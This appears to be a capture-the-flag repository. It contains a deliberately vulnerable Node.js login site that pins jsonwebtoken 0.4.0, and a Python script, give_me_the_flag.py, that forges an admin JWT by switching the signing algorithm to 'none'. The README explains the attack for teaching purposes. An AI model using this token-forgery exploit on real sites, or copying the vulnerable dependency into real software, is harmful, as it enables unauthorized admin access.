├── requirements.txt ├── target-website ├── .dockerignore ├── Dockerfile ├── package.json ├── views │ ├── restricted.html │ ├── admin.html │ ├── index.html │ └── fail.html ├── server.js └── lib │ └── helpers.js ├── LICENSE ├── give_me_the_flag.py └── README.md /requirements.txt: -------------------------------------------------------------------------------- 1 | pyjwt 2 | -------------------------------------------------------------------------------- /target-website/.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | *.log -------------------------------------------------------------------------------- /target-website/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:lts-jessie 2 | 3 | # Create app directory 4 | WORKDIR /root/app 5 | 6 | COPY package.json . 7 | RUN npm install 8 | 9 | COPY . . 10 | 11 | EXPOSE 8080 12 | ENTRYPOINT ["npm", "start"] -------------------------------------------------------------------------------- /target-website/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "ctf-jwt-token", 3 | "version": "1.0.0", 4 | "description": "A simple website which contains a vulnerability in JWT token", 5 | "main": "server.js", 6 | "scripts": { 7 | "start": "node server.js" 8 | }, 9 | "dependencies": { 10 | "level": "5.0.1", 11 | "jsonwebtoken": "0.4.0", 12 | "cookies": "0.7.3" 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /target-website/views/restricted.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Authentication with JSON Web Tokens 6 | 7 | 15 | 16 | 17 |

Hello, longz! You have logged in as a common user.

18 |
19 |
20 | 21 |
22 |
23 | 24 | 25 | -------------------------------------------------------------------------------- /target-website/views/admin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Authentication with JSON Web Tokens 6 | 7 | 15 | 16 | 17 |

Hello, longz! You have logged in as admin!

18 |
flag{have_a_nice_day!}
19 |
20 |
21 | 22 |
23 |
24 | 25 | -------------------------------------------------------------------------------- /target-website/server.js: -------------------------------------------------------------------------------- 1 | var port = 8080; 2 | var http = require('http'); // core node.js http (no frameworks) 3 | var url = require('url'); // core node.js url (no frameworks) 4 | var app = require('./lib/helpers'); // auth, token verification & render helpers 5 | var c = function(res){ /* */ }; 6 | 7 | process.on('SIGINT', function() { 8 | console.log( "\nGracefully shutting down from SIGINT (Ctrl-C)" ); 9 | process.exit(1); 10 | }); 11 | 12 | http.createServer(function (req, res) { 13 | var path = url.parse(req.url).pathname; 14 | if( path === '/' || path === '/home' ) { app.home(res); } // homepage 15 | else if( path === '/auth') { app.handler(req, res); } // authenticator 16 | else if( path === '/private') { app.validate(req, res, app.done); } // private content 17 | else if( path === '/logout') { app.logout(req, res, app.done); } // end session 18 | else { app.notFound(res); } // 404 error 19 | }).listen(port); 20 | 21 | console.log("The server is running at " + port); -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Long Zhang 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /target-website/views/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Authentication with JSON Web Tokens 6 | 7 | 15 | 16 | 17 |

Hej! Please login with your username and password.

18 |
19 |
20 | 21 | 22 | 23 | 24 | 25 |
26 |
27 | 28 | -------------------------------------------------------------------------------- /target-website/views/fail.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Authentication with JSON Web Tokens 6 | 7 | 15 | 16 | 17 |

Authentication failed :(

18 | 19 |
20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |

Try this demo account:

28 |

username: longz

29 |

password: gogogo

30 |
31 |
32 | 33 | 34 | -------------------------------------------------------------------------------- /give_me_the_flag.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding:utf-8 -*- 3 | 4 | import os, sys, requests, jwt 5 | import logging 6 | from optparse import OptionParser, OptionGroup 7 | 8 | __version__ = "0.1" 9 | 10 | # nicely parse the command line arguments 11 | def parse_options(): 12 | usage = r'usage: python3 %prog [options] -l LOGIN_URL -u USERNAME -p PASSWORD' 13 | parser = OptionParser(usage = usage, version = __version__) 14 | 15 | parser.add_option('-l', '--url', 16 | action = 'store', 17 | type = 'string', 18 | dest = 'url', 19 | help = 'The POST request url to login the website.' 20 | ) 21 | 22 | parser.add_option('-u', '--username', 23 | action = 'store', 24 | type = 'string', 25 | dest = 'username', 26 | help = 'The username used to login.' 27 | ) 28 | 29 | parser.add_option('-p', '--password', 30 | action = 'store', 31 | type = 'string', 32 | dest = 'password', 33 | help = 'The password used to login.' 34 | ) 35 | 36 | options, args = parser.parse_args() 37 | if options.url == None or options.username == None or options.password == None: 38 | parser.print_help() 39 | parser.error("Missing options.") 40 | 41 | return options 42 | 43 | def main(): 44 | options = parse_options() 45 | 46 | # a default user-agent which is used to login the website 47 | headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36"} 48 | # the login parameters 49 | loginparams = {"username": options.username, "password": options.password} 50 | 51 | session_requests = requests.session() # by using session(), we are able to handle http cookies, which is used to save the jwt token 52 | login_result = session_requests.post(options.url, data = loginparams, headers = headers) # send a post request to login the website 53 | if login_result.status_code == 200: 54 | # successfully login the website 55 | private_page_url = login_result.url # now the user should be redirected to a restricted page, which has different contents for different roles 56 | for cookie in session_requests.cookies: 57 | if cookie.name == "token": 58 | jwttoken = cookie.value # extract the jwt token string 59 | logging.info("successfully detect a jwt token: %s\n"%jwttoken) 60 | 61 | header = jwt.get_unverified_header(jwttoken) # get the jwt token header, figure out which algorithm the web server is using 62 | logging.info("jwt token header: %s\n"%header) 63 | 64 | payload = jwt.decode(jwttoken, options={ 65 | "verify_signature": False}) 66 | # decode the jwo token payload, the user role information is claimed in the payload 67 | logging.info("jwt token payload: %s\n"%payload) 68 | 69 | payload["role"] = "admin" 70 | fake_jwttoken = jwt.encode(payload, None, algorithm="none") # update the user role and regenerate the jwt token using "none" algorithm 71 | logging.info("regenerate a jwt token using 'none' algorithm and changing the role into 'admin'") 72 | logging.info(fake_jwttoken + "\n") 73 | 74 | cookie.value = fake_jwttoken 75 | break 76 | flag_page = session_requests.get(private_page_url, headers = headers) # let's visit the restricted page again 77 | logging.info("\n" + flag_page.text + "\n") # now the webpage should contain the flag information 78 | 79 | logging.info("Yeah, now we successfully login as admin!") 80 | else: 81 | logging.error("Failed to login the website, please check the options.") 82 | sys.exit(1) 83 | 84 | if __name__ == '__main__': 85 | logging.basicConfig(level=logging.INFO) 86 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ctf-jwt-token 2 | 3 | An example of a vulnerability in the early JWT token node.js library. 4 | 5 | ## Basic Introduction to JWT Token 6 | 7 | According to standard [RFC 7519](https://tools.ietf.org/html/rfc7519), JSON Web Token (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is used as the payload of a JSON Web Signature (JWS) structure or as the plaintext of a JSON Web Encryption (JWE) structure, enabling the claims to be digitally signed or integrity protected with a Message Authentication Code (MAC) and/or encrypted. 8 | 9 | ## How to Install The Vulnerable Component 10 | 11 | The vulnerable component is presented as a simple website which is written in node.js. The implementation is modified from GitHub repo [dwyl/learn-json-web-tokens](https://github.com/dwyl/learn-json-web-tokens) which holds a MIT license. This application uses username and password to authenticate a login first, then it also generates a JWT token for the user to claim the user role. The token is saved in cookies and checked whenever the user tries to visit some restricted pages. 12 | 13 | In this website, there are two different user roles: common user, admin user. The content of the main page after logging in is different. The flag is put on the admin main page. However, a visitor only has a demo account, which is a common user. 14 | 15 | ### Run The Component in One Step 16 | 17 | The vulnerable website has been dockerized and published on [DockerHub](https://hub.docker.com/r/gluckzhang/ctf-jwt-token). You could directly run it with the following command: 18 | 19 | ``` 20 | docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token 21 | ``` 22 | 23 | After that, the website is available via `http://localhost:8080`. 24 | 25 | ### Build The Docker Image by Yourself 26 | 27 | If you would like to make some modifications and build the image by yourself, the source code and Dockerfile are located in folder `target-website`. After updating the files, run the following command to build the image: 28 | 29 | ``` 30 | cd target-website 31 | docker build -t IMAGE_TAG . 32 | ``` 33 | 34 | ## How to Conduct The Attack 35 | 36 | The goal of this attack is to extract the information which should be only seen by admin users. By default, the attacker could only get a common user account to experience the website. By modifying the JWT token, the attacker spoofs the server that he logs in as an admin. 37 | 38 | Use the following Python3 script to conduct the attack: 39 | 40 | ``` 41 | pip install -r requirements.txt 42 | python give_me_the_flag.py -l LOGIN_URL -u USERNAME -p PASSWORD 43 | ``` 44 | 45 | A screencast to show every step: https://youtu.be/y2dWWnLmygs 46 | 47 | ## Background Theory of The Exploit 48 | 49 | According to the standard of JWT token, a special algorithm `none` should be always supported. Commonly `none` is used after the integrity of a token is verified. However, some libraries (e.g. node.js jsonwebtoken v0.4.0) always treated tokens signed with the `none` algorithm as valid ones. As a result, everyone could create their own valid tokens with whatever payload they want. 50 | 51 | Since the demo website uses a JWT token to claim a login user's role, we will update the token to 1) change the algorithm into `none` and 2) change the user role into `admin`. 52 | 53 | Actually there is another vulerability which is related to JWT token[[2]](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6). If the token declares to use `HS256` algorithm to encrypt the payload, the signature will be verified with the public key as the secret key. Since it is easy to obtain the website server's public key, we could sign the payload by ourselves. Due to the limited time, this demo project does not implement that case. 54 | 55 | ## References 56 | 57 | - [Critical vulnerabilities in JSON Web Token libraries](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) 58 | - [Hacking JSON Web Token (JWT)](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) 59 | - [npm jsonwebtoken v0.4.0](https://www.npmjs.com/package/jsonwebtoken/v/0.4.0) 60 | - [Learn how to use JSON Web Token (JWT) to secure your next Web App! (Tutorial/Example with Tests)](https://github.com/dwyl/learn-json-web-tokens) 61 | -------------------------------------------------------------------------------- /target-website/lib/helpers.js: -------------------------------------------------------------------------------- 1 | var Cookies = require('cookies') 2 | var qs = require('querystring'); 3 | var fs = require('fs'); 4 | var path = require('path'); 5 | 6 | var level = require('level'); 7 | var db = level(__dirname + '/db'); 8 | 9 | var jwt = require('jsonwebtoken'); 10 | var secret = process.env.JWT_SECRET || "CHANGE_THIS_TO_SOMETHING_RANDOM"; // super secret 11 | 12 | function loadView(view) { 13 | var filepath = path.resolve(__dirname, '../views/', view + '.html'); 14 | return fs.readFileSync(filepath).toString(); 15 | } 16 | 17 | // Content 18 | var index = loadView('index'); // default page 19 | var restricted = loadView('restricted'); // only show if JWT valid 20 | var admin = loadView('admin'); // only show if JWT valid and the role is admin 21 | var fail = loadView('fail'); // auth fail 22 | 23 | // show fail page (login) 24 | function authFail(res, callback) { 25 | res.writeHead(401, {'content-type': 'text/html'}); 26 | return res.end(fail); 27 | } 28 | 29 | // generate a GUID 30 | function generateGUID() { 31 | return new Date().getTime(); // we can do better with crypto 32 | } 33 | 34 | // create JWT 35 | function generateToken(req, GUID, opts, role) { 36 | opts = opts || {}; 37 | 38 | // By default, expire the token after 7 days. 39 | // NOTE: the value for 'exp' needs to be in seconds since 40 | // the epoch as per the spec! 41 | var expiresDefault = '7d'; 42 | 43 | var token = jwt.sign({ 44 | auth: GUID, 45 | agent: req.headers['user-agent'], 46 | role: role 47 | }, secret, { expiresIn: opts.expires || expiresDefault }); 48 | 49 | return token; 50 | } 51 | 52 | function generateAndStoreToken(req, opts, role) { 53 | var GUID = generateGUID(); // write/use a better GUID generator in practice 54 | var token = generateToken(req, GUID, opts, role); 55 | var record = { 56 | "valid" : true, 57 | "created" : new Date().getTime() 58 | }; 59 | 60 | db.put(GUID, JSON.stringify(record), function (err) { 61 | // console.log("record saved ", record); 62 | }); 63 | 64 | return token; 65 | } 66 | 67 | function authSuccess(req, res, role) { 68 | var token = generateAndStoreToken(req, null, role); 69 | 70 | var cookies = new Cookies(req, res) 71 | cookies.set('token', token) 72 | res.writeHead(302, { 73 | 'Location': '/private' 74 | }); 75 | return res.end(); 76 | } 77 | 78 | // lookup person in "database" 79 | var u = { un: 'longz', pw: 'gogogo', role: 'user' }; 80 | 81 | // handle authorisation requests 82 | function authHandler(req, res){ 83 | if (req.method === 'POST') { 84 | var body = ''; 85 | req.on('data', function (data) { 86 | body += data; 87 | }).on('end', function () { 88 | var post = qs.parse(body); 89 | if(post.username && post.username === u.un && post.password && post.password === u.pw) { 90 | return authSuccess(req, res, u.role); 91 | } else { 92 | return authFail(res); 93 | } 94 | }); 95 | } else { 96 | return authFail(res); 97 | } 98 | } 99 | 100 | function verify(token) { 101 | var decoded = false; 102 | jwt.verify(token, secret, function (err, payload) { 103 | if (err) { 104 | decoded = false; // still false 105 | } else { 106 | decoded = payload; 107 | } 108 | }); 109 | return decoded; 110 | } 111 | 112 | // can't use the word private as its an ES "future" reserved word! 113 | // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords 114 | function privado(res, token, role) { 115 | res.writeHead(200, { 116 | 'content-type': 'text/html' 117 | }); 118 | if (role === 'user') { 119 | return res.end(restricted); 120 | } else { 121 | return res.end(admin); 122 | } 123 | } 124 | 125 | function validate(req, res, callback) { 126 | var cookies = new Cookies(req, res) 127 | var token = cookies.get('token') 128 | var decoded = verify(token); 129 | if(!decoded || !decoded.auth) { 130 | authFail(res); 131 | return callback(res); 132 | } else { 133 | db.get(decoded.auth, function (err, record) { 134 | var r; 135 | try { 136 | r = JSON.parse(record); 137 | } catch (e) { 138 | r = { valid : false }; 139 | } 140 | if (err || !r.valid) { 141 | authFail(res); 142 | return callback(res); 143 | } else { 144 | privado(res, token, decoded.role); 145 | return callback(res); 146 | } 147 | }); 148 | } 149 | } 150 | 151 | function notFound(res) { 152 | res.writeHead(404, {'content-type': 'text/plain'}); 153 | return res.end('404 Not Found'); 154 | } 155 | 156 | function home(res) { 157 | res.writeHead(200, {'content-type': 'text/html'}); 158 | return res.end(index); 159 | } 160 | 161 | function done(res) { 162 | return; // does nothing. (pass as callback) 163 | } 164 | 165 | function logout(req, res, callback) { 166 | // invalidate the token 167 | var cookies = new Cookies(req, res); 168 | var token = cookies.get('token'); 169 | // console.log(' >>> ', token) 170 | var decoded = verify(token); 171 | if(decoded) { // otherwise someone can force the server to crash by sending a bad token! 172 | // asynchronously read and invalidate 173 | db.get(decoded.auth, function(err, record) { 174 | if (!err) { 175 | var updated = JSON.parse(record); 176 | updated.valid = false; 177 | db.put(decoded.auth, updated, function (err) { 178 | // console.log('updated: ', updated) 179 | }); 180 | } 181 | cookies.set('token'); 182 | res.writeHead(302, { 183 | 'Location': '/' 184 | }); 185 | res.end(); 186 | return callback(res); 187 | }); 188 | } else { 189 | cookies.set('token'); 190 | authFail(res, done); 191 | return callback(res); 192 | } 193 | } 194 | 195 | 196 | module.exports = { 197 | fail : authFail, 198 | done: done, // moch callback 199 | home: home, 200 | handler : authHandler, 201 | logout : logout, 202 | notFound : notFound, 203 | success : authSuccess, 204 | validate : validate, 205 | verify : verify, 206 | view : loadView, 207 | generateAndStoreToken: generateAndStoreToken 208 | } 209 | --------------------------------------------------------------------------------